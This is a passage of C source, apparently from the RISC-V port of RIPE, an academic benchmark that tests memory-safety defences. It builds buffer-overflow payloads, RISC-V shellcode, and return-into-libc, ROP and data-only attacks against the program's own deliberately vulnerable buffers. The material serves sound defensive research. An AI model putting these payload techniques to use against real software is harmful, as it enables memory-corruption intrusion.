pointer\n"); 606 | } 607 | 608 | exit(1); 609 | break; 610 | } 611 | break; 612 | } 613 | 614 | if (output_debug_info) { 615 | fprintf(stderr, "target_addr == %p\n", target_addr); 616 | fprintf(stderr, "buffer == %p\n", buffer); 617 | } 618 | 619 | // ------------------------------------------------------ 620 | /* Calculate payload size for overflow of chosen target address */ 621 | if ((unsigned long) target_addr > (unsigned long) buffer) { 622 | payload.size = 623 | (unsigned int) ((unsigned long) target_addr + sizeof(long) 624 | - (unsigned long) buffer 625 | + 1); /* For null termination so that buffer can be */ 626 | /* used with string functions in standard library */ 627 | 628 | if (output_debug_info) 629 | fprintf(stderr, "payload size == %d\n", payload.size); 630 | } else { 631 | if (output_debug_info) 632 | fprintf(stderr, "Error calculating size of payload\n"); 633 | exit(1); 634 | } 635 | 636 | /* Set first byte of buffer to null to allow concatenation functions to */ 637 | /* start filling the buffer from that first byte */ 638 | buffer[0] = '\0'; 639 | 640 | if (!build_payload(&payload)) { 641 | if (output_debug_info) 642 | fprintf(stderr, "Error: Could not build payload\n"); 643 | exit(1); 644 | } 645 | 646 | /****************************************/ 647 | /* Overflow buffer with chosen function */ 648 | /* Note: Here memory will be corrupted */ 649 | /****************************************/ 650 | 651 | switch (attack.function) { 652 | case MEMCPY: 653 | // memcpy() shouldn't copy the terminating NULL, therefore - 1 654 | memcpy(buffer, payload.buffer, payload.size - 1); 655 | break; 656 | case STRCPY: 657 | strcpy(buffer, payload.buffer); 658 | break; 659 | case STRNCPY: 660 | strncpy(buffer, payload.buffer, payload.size); 661 | break; 662 | case SPRINTF: 663 | sprintf(buffer, "%s", payload.buffer); 664 | break; 665 | case SNPRINTF: 666 | snprintf(buffer, payload.size, "%s", payload.buffer); 667 | break; 668 | case STRCAT: 669 | strcat(buffer, payload.buffer); 670 | break; 671 | case STRNCAT: 672 | strncat(buffer, payload.buffer, payload.size); 673 | break; 674 | case SSCANF: 675 | snprintf(format_string_buf, 15, "%%%ic", payload.size); 676 | sscanf(payload.buffer, format_string_buf, buffer); 677 | break; 678 | case HOMEBREW: 679 | homebrew_memcpy(buffer, payload.buffer, payload.size - 1); 680 | break; 681 | default: 682 | if (output_debug_info) 683 | fprintf(stderr, "Error: Unknown choice of function\n"); 684 | exit(1); 685 | break; 686 | } 687 | 688 | /*******************************************/ 689 | /* Ensure that code pointer is overwritten */ 690 | /*******************************************/ 691 | 692 | switch (attack.technique) { 693 | case DIRECT: 694 | /* Code pointer already overwritten */ 695 | break; 696 | case INDIRECT: 697 | // JM: zero out junk byte written to general pointer 698 | if (attack.function == SSCANF) { 699 | *(uint32_t *) target_addr <<= 8; 700 | *(uint32_t *) target_addr >>= 8; 701 | } 702 | 703 | if (attack.inject_param == RETURN_INTO_LIBC) { 704 | // JM: auxilliary overflow to give attacker control of a second general ptr 705 | payload.overflow_ptr = &ret2libc_target; 706 | payload.size = (uintptr_t) target_addr_aux 707 | - (uintptr_t) buffer + sizeof(long) + 1; 708 | build_payload(&payload); 709 | memcpy(buffer, payload.buffer, payload.size - 1); 710 | printf("target_addr_aux: %p\n", target_addr_aux); 711 | 712 | switch (attack.location) { 713 | case STACK: 714 | *(uint32_t *) (*(uint32_t *) target_addr) = 715 | (uintptr_t) stack_mem_ptr_aux; 716 | break; 717 | case HEAP: 718 | *(uint32_t *) (*(uint32_t *) target_addr) = 719 | (uintptr_t) *heap_mem_ptr_aux; 720 | break; 721 | case DATA: 722 | *(uint32_t *) (*(uint32_t *) target_addr) = 723 | (uintptr_t) *data_mem_ptr_aux; 724 | break; 725 | case BSS: 726 | *(uint32_t *) (*(uint32_t *) target_addr) = 727 | (uintptr_t) bss_mem_ptr_aux; 728 | break; 729 | } 730 | } else if (attack.inject_param == INJECTED_CODE_NO_NOP) { 731 | *(uintptr_t *) (*(uintptr_t *) target_addr) = 732 | (uintptr_t) buffer; 733 | } 734 | break; 735 | default: 736 | if (output_debug_info) 737 | fprintf(stderr, "Error: Unknown choice of attack parameterB\n"); 738 | 739 | exit(1); 740 | break; 741 | } 742 | 743 | printf(""); 744 | printf("\nExecuting attack... "); 745 | 746 | switch (attack.code_ptr) { 747 | case RET_ADDR: 748 | break; 749 | case FUNC_PTR_STACK_VAR: 750 | stack_func_ptr(NULL); 751 | break; 752 | case FUNC_PTR_STACK_PARAM: 753 | ((int (*)(char *, int))(*stack_func_ptr_param))(NULL, 0); 754 | break; 755 | case FUNC_PTR_HEAP: 756 | ((int (*)(char *, int)) * heap_func_ptr)(NULL, 0); 757 | break; 758 | case FUNC_PTR_BSS: 759 | ((int (*)(char *, int))(*bss_func_ptr))(NULL, 0); 760 | break; 761 | 762 | case FUNC_PTR_DATA: 763 | ((int (*)(char *, int))(*data_func_ptr))(NULL, 0); 764 | break; 765 | case LONGJMP_BUF_STACK_VAR: 766 | lj_func(stack_jmp_buffer); 767 | break; 768 | case LONGJMP_BUF_STACK_PARAM: 769 | lj_func(stack_jmp_buffer_param); 770 | break; 771 | case LONGJMP_BUF_HEAP: 772 | lj_func(*heap_jmp_buffer); 773 | break; 774 | case LONGJMP_BUF_DATA: 775 | lj_func(data_jmp_buffer); 776 | break; 777 | case LONGJMP_BUF_BSS: 778 | lj_func(bss_jmp_buffer); 779 | break; 780 | case STRUCT_FUNC_PTR_STACK: 781 | ((int (*)(char *, int)) * (stack_struct.func_ptr))(NULL, 0); 782 | break; 783 | case STRUCT_FUNC_PTR_HEAP: 784 | (*heap_struct->func_ptr)(NULL, 0); 785 | break; 786 | case STRUCT_FUNC_PTR_DATA: 787 | (*data_struct.func_ptr)(NULL, 0); 788 | break; 789 | case STRUCT_FUNC_PTR_BSS: 790 | (*bss_struct.func_ptr)(NULL, 0); 791 | break; 792 | case VAR_BOF: 793 | case VAR_IOF: 794 | switch (attack.location) { 795 | case STACK: 796 | dop_target(buffer, *stack_mem_ptr); 797 | break; 798 | case HEAP: 799 | dop_target(buffer, *heap_mem_ptr); 800 | break; 801 | case DATA: 802 | dop_target(buffer, **data_mem_ptr); 803 | break; 804 | case BSS: 805 | dop_target(buffer, *bss_mem_ptr); 806 | break; 807 | } 808 | break; 809 | case VAR_LEAK: 810 | data_leak(buffer); 811 | break; 812 | } 813 | } /* perform_attack */ 814 | 815 | /*******************/ 816 | /* BUILD_PAYLOAD() */ 817 | /*******************/ 818 | boolean 819 | build_payload(CHARPAYLOAD * payload) 820 | { 821 | size_t size_shellcode, bytes_to_pad; 822 | char * shellcode, * temp_char_buffer, * temp_char_ptr; 823 | 824 | switch (attack.inject_param) { 825 | case INJECTED_CODE_NO_NOP: 826 | if (payload->size < (size_shellcode_nonop + sizeof(long))) { 827 | return FALSE; 828 | } 829 | shellcode = shellcode_nonop; 830 | size_shellcode = size_shellcode_nonop; 831 | break; 832 | case DATA_ONLY: 833 | // JM: 256 padding bytes for unsigned 8bit IOF 834 | if (attack.code_ptr == VAR_IOF) 835 | payload->size = 256 + sizeof(long) + sizeof(char); 836 | 837 | if (attack.code_ptr == VAR_LEAK) { 838 | // JM: simulated packet with length included 839 | payload->size += 32 - sizeof(long); 840 | payload->buffer[0] = payload->size & 0xFF; 841 | payload->buffer[1] = payload->size / 0x100; 842 | payload->buffer[2] = 'A'; 843 | payload->buffer[3] = '\0'; 844 | payload->size = 4; 845 | return TRUE; 846 | } 847 | case RETURN_ORIENTED_PROGRAMMING: 848 | case RETURN_INTO_LIBC: 849 | if (payload->size < sizeof(long)) 850 | return FALSE; 851 | 852 | size_shellcode = 0; 853 | shellcode = "dummy"; 854 | break; 855 | } 856 | /* Allocate payload buffer */ 857 | payload->buffer = (char *) malloc(payload->size); 858 | if (payload->buffer == NULL) { 859 | if (output_debug_info) 860 | perror("Unable to allocate payload buffer."); 861 | return FALSE; 862 | } 863 | 864 | /* Copy shellcode into payload buffer */ 865 | memcpy(payload->buffer, shellcode, size_shellcode); 866 | 867 | /* Calculate number of bytes to pad with */ 868 | /* size - shellcode - target address - null terminator */ 869 | bytes_to_pad = 870 | (payload->size - size_shellcode - sizeof(long) - sizeof(char)); 871 | 872 | /* Pad payload buffer with dummy bytes */ 873 | memset((payload->buffer + size_shellcode), 'A', bytes_to_pad); 874 | 875 | if (output_debug_info) { 876 | fprintf(stderr, "bytes to pad: %d\n", bytes_to_pad); 877 | fprintf(stderr, "\noverflow_ptr: %p\n", payload->overflow_ptr); 878 | } 879 | 880 | /* Add the address to the direct or indirect target */ 881 | if (attack.code_ptr != VAR_IOF) { 882 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad]), 883 | &payload->overflow_ptr, 884 | sizeof(long)); 885 | } 886 | 887 | /* Finally, add the terminating null character at the end */ 888 | memset((payload->buffer + payload->size - 1), '\0', 1); 889 | 890 | if (output_debug_info) 891 | fprintf(stderr, "payload: %s\n", payload->buffer); 892 | return TRUE; 893 | 894 | 895 | } /* build_payload */ 896 | 897 | // JM: call longjmp on a buffer in perform_attack() 898 | void 899 | lj_func(jmp_buf lj_buf) 900 | { 901 | longjmp(lj_buf, 1111); 902 | } 903 | 904 | void 905 | homebrew_memcpy(void * dst, const void * src, size_t length) 906 | { 907 | char * d, * s; 908 | 909 | d = (char *) dst; 910 | s = (char *) src; 911 | 912 | while (length--) { 913 | *d++ = *s++; 914 | } 915 | } 916 | 917 | void 918 | shellcode_target() 919 | { 920 | printf("success.\nCode injection function reached.\n"); 921 | exit(0); 922 | } 923 | 924 | void 925 | ret2libc_target() 926 | { 927 | printf("success.\nRet2Libc function reached.\n"); 928 | exit(0); 929 | } 930 | 931 | void 932 | dop_target(char * buf, uint32_t auth) 933 | { 934 | size_t auth_loc = auth; 935 | 936 | if (attack.code_ptr == VAR_IOF) { 937 | iof(buf, &auth_loc); 938 | } 939 | 940 | if (!auth_loc) { 941 | printf("DOP attack failed\n"); 942 | } else { 943 | printf("success.\nDOP memory corruption reached.\n"); 944 | exit(0); 945 | } 946 | } 947 | 948 | void 949 | rop_target() 950 | { 951 | printf("success.\nROP function reached.\n"); 952 | exit(0); 953 | } 954 | 955 | void 956 | set_low_buf(char ** buf) 957 | { 958 | char low_buf[1024]; 959 | 960 | if (output_debug_info) 961 | fprintf(stderr, "Inside set_low_buf()\n"); 962 | *buf = &low_buf; 963 | } 964 | 965 | void 966 | iof(char * buf, uint32_t iv) 967 | { 968 | char * map; 969 | uint32_t key = iv; 970 | uint8_t len = strlen(buf); 971 | 972 | // 0-length allocation and vulenrable hash operations 973 | map = (char *) malloc(len * sizeof(char)); 974 | key -= (uint32_t) map; 975 | key &= (uint16_t) len - 1; 976 | map[key] = 0xa1; 977 | } 978 | 979 | void 980 | data_leak(char *buf) { 981 | uint16_t size = buf[0] + (buf[1] * 0x100), i; 982 | char *msg = (char *)malloc(size); 983 | 984 | memcpy(msg, buf + 2, size); 985 | for (i = 0; i < size; i++) { 986 | if (msg[i] >= 0x20) putc(msg[i],stdout); 987 | } 988 | 989 | putc('\n', stdout); 990 | } 991 | 992 | /*********************/ 993 | /* BUILD_SHELLCODE() */ 994 | /*********************/ 995 | void 996 | build_shellcode(char * shellcode) 997 | { 998 | char attack_addr[9], low_bits[4], high_bits[6]; // target address and its components 999 | char lui_bin[33], addi_bin[33]; // binary insn encodings (as strings) 1000 | char lui_s[9], addi_s[9], * jalr_s = "000300e7"; // hex insn encodings 1001 | size_t lui_val, addi_val, jalr_val; // raw binary insn encodings 1002 | 1003 | // fix shellcode when lower bits become negative 1004 | if (((unsigned long)&shellcode_target & 0x00000fff) >= 0x800) 1005 | hex_to_string(attack_addr, &shellcode_target + 0x1000); 1006 | else 1007 | hex_to_string(attack_addr, &shellcode_target); 1008 | 1009 | // split attack address into low and high bit strings 1010 | strncpy(low_bits, &attack_addr[5], 3); 1011 | strncpy(high_bits, attack_addr, 5); 1012 | 1013 | jalr_val = strtoul(jalr_s, 0, 16); 1014 | 1015 | // generate 20 imm bits for the LUI insn 1016 | for (int i = 0; i < 5; i++) { 1017 | strncat(lui_bin, hex_to_bin(high_bits[i]), 4); 1018 | } 1019 | 1020 | // append reg and opcode bits, then convert to raw binary 1021 | strncat(lui_bin, "001100110111", 12); 1022 | lui_val = strtoul(lui_bin, 0, 2); 1023 | 1024 | hex_to_string(lui_s, lui_val); 1025 | 1026 | // generate binary for ADDI insn 1027 | for (int i = 0; i < 3; i++) { 1028 | strncat(addi_bin, hex_to_bin(low_bits[i]), 4); 1029 | } 1030 | 1031 | strncat(addi_bin, "00110000001100010011", 20); 1032 | addi_val = strtoul(addi_bin, 0, 2); 1033 | 1034 | hex_to_string(addi_s, addi_val); 1035 | 1036 | format_instruction(shellcode, lui_val); 1037 | format_instruction(shellcode + 4, addi_val); 1038 | format_instruction(shellcode + 8, jalr_val); 1039 | 1040 | hex_to_string(lui_s, lui_val); 1041 | hex_to_string(addi_s, addi_val); 1042 | 1043 | if (output_debug_info) { 1044 | printf("----------------\nShellcode instructions:\n"); 1045 | printf("%s0x%-20s%14s\n", "lui t1, ", high_bits, lui_s); 1046 | printf("%s0x%-20s%10s\n", "addi t1, t1, ", low_bits, addi_s); 1047 | printf("%s%38s\n----------------\n", "jalr t1", jalr_s); 1048 | } 1049 | } /* build_shellcode */ 1050 | 1051 | // convert a 32-bit hex value to padded, 8-char string 1052 | void 1053 | hex_to_string(char * str, size_t val) 1054 | { 1055 | // store value in string and prepend 0s as necessary 1056 | snprintf(str, 9, "%8x", val); 1057 | 1058 | for (int i = 0; i < 9; i++) { 1059 | if (str[i] == ' ') str[i] = '0'; 1060 | } 1061 | } 1062 | 1063 | // format instruction and append to destination string 1064 | void 1065 | format_instruction(char * dest, size_t insn) 1066 | { 1067 | char insn_bytes[4]; 1068 | 1069 | insn_bytes[0] = (insn >> 24) & 0xff; 1070 | insn_bytes[1] = (insn >> 16) & 0xff; 1071 | insn_bytes[2] = (insn >> 8) & 0xff; 1072 | insn_bytes[3] = insn & 0xff; 1073 | 1074 | for (int i = 3; i >= 0; i--) { 1075 | dest[3 - i] = insn_bytes[i]; 1076 | } 1077 | } 1078 | 1079 | void 1080 | set_technique(char * choice) 1081 | { 1082 | if (strcmp(choice, opt_techniques[0]) == 0) { 1083 | attack.technique = DIRECT; 1084 | } else if (strcmp(choice, opt_techniques[1]) == 0) { 1085 | attack.technique = INDIRECT; 1086 | } else { 1087 | if (output_debug_info) { 1088 | fprintf(stderr, "Error: Unknown choice of technique \"%s\"\n", 1089 | choice); 1090 | } 1091 | } 1092 | printf("tech: %d\n", attack.technique); 1093 | } 1094 | 1095 | void 1096 | set_inject_param(char * choice) 1097 | { 1098 | if (strcmp(choice, opt_inject_params[0]) == 0) { 1099 | attack.inject_param = INJECTED_CODE_NO_NOP; 1100 | } else if (strcmp(choice, opt_inject_params[1]) == 0) { 1101 | attack.inject_param = RETURN_INTO_LIBC; 1102 | } else if (strcmp(choice, opt_inject_params[2]) == 0) { 1103 | attack.inject_param = RETURN_ORIENTED_PROGRAMMING; 1104 | } else if (strcmp(choice, opt_inject_params[3]) == 0) { 1105 | attack.inject_param = DATA_ONLY; 1106 | } else { 1107 | if (output_debug_info) { 1108 | fprintf(stderr, 1109 | "Error: Unknown choice of injection parameter \"%s\"\n", 1110 | choice); 1111 | } 1112 | exit(1); 1113 | } 1114 | printf("attack: %d\n", attack.inject_param); 1115 | } 1116 | 1117 | void 1118 | set_code_ptr(char * choice) 1119 | { 1120 | if (strcmp(choice, opt_code_ptrs[0]) == 0) { 1121 | attack.code_ptr = RET_ADDR; 1122 | } else if (strcmp(choice, opt_code_ptrs[1]) == 0) { 1123 | attack.code_ptr = FUNC_PTR_STACK_VAR; 1124 | } else if (strcmp(choice, opt_code_ptrs[2]) == 0) { 1125 | attack.code_ptr = FUNC_PTR_STACK_PARAM; 1126 | } else if (strcmp(choice, opt_code_ptrs[3]) == 0) { 1127 | attack.code_ptr = FUNC_PTR_HEAP; 1128 | } else if (strcmp(choice, opt_code_ptrs[4]) == 0) { 1129 | attack.code_ptr = FUNC_PTR_BSS; 1130 | } else if (strcmp(choice, opt_code_ptrs[5]) == 0) { 1131 | attack.code_ptr = FUNC_PTR_DATA; 1132 | } else if (strcmp(choice, opt_code_ptrs[6]) == 0) { 1133 | attack.code_ptr = LONGJMP_BUF_STACK_VAR; 1134 | } else if (strcmp(choice, opt_code_ptrs[7]) == 0) { 1135 | attack.code_ptr = LONGJMP_BUF_STACK_PARAM; 1136 | } else if (strcmp(choice, opt_code_ptrs[8]) == 0) { 1137 | attack.code_ptr = LONGJMP_BUF_HEAP; 1138 | } else if (strcmp(choice, opt_code_ptrs[9]) == 0) { 1139 | attack.code_ptr = LONGJMP_BUF_BSS; 1140 | } else if (strcmp(choice, opt_code_ptrs[10]) == 0) { 1141 | attack.code_ptr = LONGJMP_BUF_DATA; 1142 | } else if (strcmp(choice, opt_code_ptrs[11]) == 0) { 1143 | attack.code_ptr = STRUCT_FUNC_PTR_STACK; 1144 | } else if (strcmp(choice, opt_code_ptrs[12]) == 0) { 1145 | attack.code_ptr = STRUCT_FUNC_PTR_HEAP; 1146 | } else if (strcmp(choice, opt_code_ptrs[13]) == 0) { 1147 | attack.code_ptr = STRUCT_FUNC_PTR_DATA; 1148 | } else if (strcmp(choice, opt_code_ptrs[14]) == 0) { 1149 | attack.code_ptr = STRUCT_FUNC_PTR_BSS; 1150 | } else if (strcmp(choice, opt_code_ptrs[15]) == 0) { 1151 | attack.code_ptr = VAR_BOF; 1152 | } else if (strcmp(choice, opt_code_ptrs[16]) == 0) { 1153 | attack.code_ptr = VAR_IOF; 1154 | } else if (strcmp(choice, opt_code_ptrs[17]) == 0) { 1155 | attack.code_ptr = VAR_LEAK; 1156 | } else { 1157 | if (output_debug_info) { 1158 | fprintf(stderr, "Error: Unknown choice of code pointer \"%s\"\n", 1159 | choice); 1160 | } 1161 | exit(1); 1162 | } 1163 | printf("code ptr: %d\n", attack.code_ptr); 1164 | } /* set_code_ptr */ 1165 | 1166 | void 1167 | set_location(char * choice) 1168 | { 1169 | if (strcmp(choice, opt_locations[0]) == 0) { 1170 | attack.location = STACK; 1171 | } else if (strcmp(choice, opt_locations[1]) == 0) { 1172 | attack.location = HEAP; 1173 | } else if (strcmp(choice, opt_locations[2]) == 0) { 1174 | attack.location = BSS; 1175 | } else if (strcmp(choice, opt_locations[3]) == 0) { 1176 | attack.location = DATA; 1177 | } else { 1178 | if (output_debug_info) { 1179 | fprintf(stderr, "Error: Unknown choice of memory location \"%s\"\n", 1180 | choice); 1181 | } 1182 | exit(1); 1183 | } 1184 | printf("location: %d\n", attack.location); 1185 | } 1186 | 1187 | void 1188 | set_function(char * choice) 1189 | { 1190 | if (strcmp(choice, opt_funcs[0]) == 0) { 1191 | attack.function = MEMCPY; 1192 | } else if (strcmp(choice, opt_funcs[1]) == 0) { 1193 | attack.function = STRCPY; 1194 | } else if (strcmp(choice, opt_funcs[2]) == 0) { 1195 | attack.function = STRNCPY; 1196 | } else if (strcmp(choice, opt_funcs[3]) == 0) { 1197 | attack.function = SPRINTF; 1198 | } else if (strcmp(choice, opt_funcs[4]) == 0) { 1199 | attack.function = SNPRINTF; 1200 | } else if (strcmp(choice, opt_funcs[5]) == 0) { 1201 | attack.function = STRCAT; 1202 | } else if (strcmp(choice, opt_funcs[6]) == 0) { 1203 | attack.function = STRNCAT; 1204 | } else if (strcmp(choice, opt_funcs[7]) == 0) { 1205 | attack.function = SSCANF; 1206 | } else if (strcmp(choice, opt_funcs[8]) == 0) { 1207 | attack.function = HOMEBREW; 1208 | } else { 1209 | if (output_debug_info) { 1210 | fprintf(stderr, 1211 | "Error: Unknown choice of vulnerable function \"%s\"\n", 1212 | choice); 1213 | } 1214 | exit(1); 1215 | } 1216 | printf("function: %d\n", attack.function); 1217 | } 1218 | 1219 | boolean 1220 | is_attack_possible() 1221 | { 1222 | if ((attack.inject_param == INJECTED_CODE_NO_NOP) && 1223 | (!(attack.function == MEMCPY) && !(attack.function == HOMEBREW))) 1224 | { 1225 | fprintf(stderr, 1226 | "Error: Impossible to inject shellcode with string functions (for now)\n"); 1227 | return FALSE; 1228 | } 1229 | 1230 | if (attack.inject_param == RETURN_ORIENTED_PROGRAMMING && 1231 | attack.technique != DIRECT) 1232 | { 1233 | fprintf(stderr, 1234 | "Error: Impossible (theoretically) to perform indirect ROP attacks\n"); 1235 | return FALSE; 1236 | } 1237 | 1238 | if (attack.inject_param == DATA_ONLY) { 1239 | if (attack.code_ptr != VAR_BOF && 1240 | attack.code_ptr != VAR_IOF && 1241 | attack.code_ptr != VAR_LEAK) 1242 | { 1243 | fprintf(stderr, "Error: Misused DOP code pointer parameters.\n"); 1244 | return FALSE; 1245 | } 1246 | 1247 | if ((attack.code_ptr == VAR_LEAK || attack.code_ptr == VAR_IOF) && attack.technique == INDIRECT) { 1248 | fprintf(stderr, 1249 | "Error: Impossible to do an indirect int overflow attack.\n"); 1250 | return FALSE; 1251 | } 1252 | 1253 | if (attack.location == HEAP && attack.technique == INDIRECT) { 1254 | fprintf(stderr, 1255 | "Error: Impossible to indirect attack the heap flag.\n"); 1256 | return FALSE; 1257 | } 1258 | } else if (attack.code_ptr == VAR_BOF || 1259 | attack.code_ptr == VAR_IOF || 1260 | attack.code_ptr == VAR_LEAK) { 1261 | fprintf(stderr, 1262 | "Error: Must use \"dataonly\" injection parameter for DOP attacks.\n"); 1263 | return FALSE; 1264 | } 1265 | 1266 | // JM: attacks targeting another memory location must be indirect 1267 | switch (attack.location) { 1268 | case STACK: 1269 | if ((attack.technique == DIRECT)) { 1270 | if ((attack.code_ptr == FUNC_PTR_HEAP) || 1271 | (attack.code_ptr == FUNC_PTR_BSS) || 1272 | (attack.code_ptr == FUNC_PTR_DATA) || 1273 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1274 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1275 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1276 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1277 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) || 1278 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) ) 1279 | { 1280 | fprintf(stderr, 1281 | "Error: Impossible to perform a direct attack on the stack into another memory segment.\n"); 1282 | return FALSE; 1283 | } else if ((attack.code_ptr == FUNC_PTR_STACK_PARAM) && 1284 | ((attack.function == STRCAT) || 1285 | (attack.function == SNPRINTF) || 1286 | (attack.function == SSCANF) || 1287 | (attack.function == HOMEBREW))) 1288 | { 1289 | fprintf(stderr, 1290 | "Error: Impossible to attack the stack parameter directly with the following functions: strcat(), snprintf(), sscanf(), homebrew_memcpy()\n"); 1291 | return FALSE; 1292 | } 1293 | } 1294 | break; 1295 | 1296 | case HEAP: 1297 | if ((attack.technique == DIRECT) && 1298 | ((attack.code_ptr == RET_ADDR) || 1299 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1300 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1301 | (attack.code_ptr == FUNC_PTR_BSS) || 1302 | (attack.code_ptr == FUNC_PTR_DATA) || 1303 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1304 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1305 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1306 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1307 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1308 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) || 1309 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) )) 1310 | { 1311 | fprintf(stderr, 1312 | "Error: Impossible to perform a direct attack on the heap into another memory segment.\n"); 1313 | return FALSE; 1314 | } 1315 | break; 1316 | 1317 | case DATA: 1318 | if ((attack.technique == DIRECT) && 1319 | ((attack.code_ptr == RET_ADDR) || 1320 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1321 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1322 | (attack.code_ptr == FUNC_PTR_BSS) || 1323 | (attack.code_ptr == FUNC_PTR_HEAP) || 1324 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1325 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1326 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1327 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1328 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1329 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1330 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) )) 1331 | { 1332 | fprintf(stderr, 1333 | "Error: Impossible to perform a direct attack on the data segment into another memory segment.\n"); 1334 | return FALSE; 1335 | } 1336 | break; 1337 | 1338 | 1339 | case BSS: 1340 | if ((attack.technique == DIRECT) && 1341 | ((attack.code_ptr == RET_ADDR) || 1342 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1343 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1344 | (attack.code_ptr == FUNC_PTR_DATA) || 1345 | (attack.code_ptr == FUNC_PTR_HEAP) || 1346 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1347 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1348 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1349 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1350 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1351 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1352 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) )) 1353 | { 1354 | fprintf(stderr, 1355 | "Error: Impossible to perform a direct attack on the bss into another memory segment.\n"); 1356 | return FALSE; 1357 | } else if ((attack.technique == INDIRECT) && 1358 | (attack.code_ptr == LONGJMP_BUF_HEAP) && 1359 | (!(attack.function == MEMCPY) && 1360 | !(attack.function == STRNCPY) && 1361 | !(attack.function == HOMEBREW))) 1362 | { 1363 | fprintf(stderr, 1364 | "Error: Impossible to perform BSS->Heap Longjmp attacks using string functions.\n"); 1365 | return FALSE; 1366 | } 1367 | break; 1368 | } 1369 | 1370 | return TRUE; 1371 | } /* is_attack_possible */ 1372 | -------------------------------------------------------------------------------- /source/ripe_attack_generator.h: -------------------------------------------------------------------------------- 1 | /* RIPE was originally developed by John Wilander (@johnwilander) 2 | * and was debugged and extended by Nick Nikiforakis (@nicknikiforakis) 3 | * 4 | * The RISC-V port of RIPE was developed by John Merrill. 5 | * 6 | * Released under the MIT license (see file named LICENSE) 7 | * 8 | * This program is part the paper titled 9 | * RIPE: Runtime Intrusion Prevention Evaluator 10 | * Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 11 | * Mariam Kamkar and Wouter Joosen 12 | * Published in the proceedings of ACSAC 2011, Orlando, Florida 13 | * 14 | * Please cite accordingly. 15 | */ 16 | 17 | /** 18 | * @author John Wilander 19 | * 2007-01-16 20 | */ 21 | 22 | #ifndef RIPE_ATTACK_GENERATOR_H 23 | #define RIPE_ATTACK_GENERATOR_H 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #include "ripe_attack_parameters.h" 38 | 39 | typedef int boolean; 40 | enum booleans {FALSE=0, TRUE}; 41 | 42 | const char *bin4b[16] = {"0000", "0001", "0010", "0011", 43 | "0100", "0101", "0110", "0111", 44 | "1000", "1001", "1010", "1011", 45 | "1100", "1101", "1110", "1111"}; 46 | 47 | typedef struct attack_form ATTACK_FORM; 48 | struct attack_form { 49 | enum techniques technique; 50 | enum inject_params inject_param; 51 | enum code_ptrs code_ptr; 52 | enum locations location; 53 | enum functions function; 54 | }; 55 | 56 | typedef struct char_payload CHARPAYLOAD; 57 | struct char_payload { 58 | enum inject_params inject_param; 59 | size_t size; 60 | void *overflow_ptr; /* Points to code pointer (direct attack) */ 61 | /* or general pointer (indirect attack) */ 62 | char *buffer; 63 | 64 | jmp_buf *jmp_buffer; 65 | 66 | long stack_jmp_buffer_param; 67 | size_t offset_to_copied_base_ptr; 68 | size_t offset_to_fake_return_addr; 69 | long *fake_return_addr; 70 | long *ptr_to_correct_return_addr; 71 | }; 72 | 73 | struct attackme { 74 | char buffer[256]; 75 | int (*func_ptr)(const char *, int); 76 | }; 77 | 78 | /** 79 | * main 80 | * -t technique 81 | * -i injection parameter (code + NOP / return-into-libc / param to system()) 82 | * -c code pointer 83 | * -l memory location 84 | * -f function to overflow with 85 | * -d output debug info 86 | * -o set output stream 87 | */ 88 | int main(int argc, char **argv); 89 | 90 | void perform_attack( 91 | int (*stack_func_ptr_param)(const char *), 92 | jmp_buf stack_jmp_buffer_param); 93 | 94 | /* BUILD_PAYLOAD() */ 95 | /* */ 96 | /* Simplified example of payload (exact figures are just made up): */ 97 | /* */ 98 | /* size = 31 (the total payload size) */ 99 | /* size_sc = 12 (size of shellcode incl NOP) */ 100 | /* size_addr = 4 (size of address to code) */ 101 | /* size_null = 1 (size of null termination) */ 102 | /* */ 103 | /* ------------ ----------------- ------------- - */ 104 | /* | Shell code | Padded bytes | Address |N| */ 105 | /* | including | | back to |u| */ 106 | /* | optional | | NOP sled or |l| */ 107 | /* | NOP sled | | shell code |l| */ 108 | /* ------------ ----------------- ------------- - */ 109 | /* | | | | | | | */ 110 | /* 0 11 12 25 26 29 30 */ 111 | /* / \ / \ \ */ 112 | /* size_sc-1 size_sc / \ size-size_null */ 113 | /* / \ */ 114 | /* (size-1)-size_addr-size_null size-size_addr-size_null */ 115 | /* */ 116 | /* This means that we should pad with */ 117 | /* size - size_sc - size_addr - size_null = 31-12-4-1 = 14 bytes */ 118 | /* and start the padding at index size_sc */ 119 | boolean build_payload(CHARPAYLOAD *payload); 120 | 121 | void set_technique(char *choice); 122 | void set_inject_param(char *choice); 123 | void 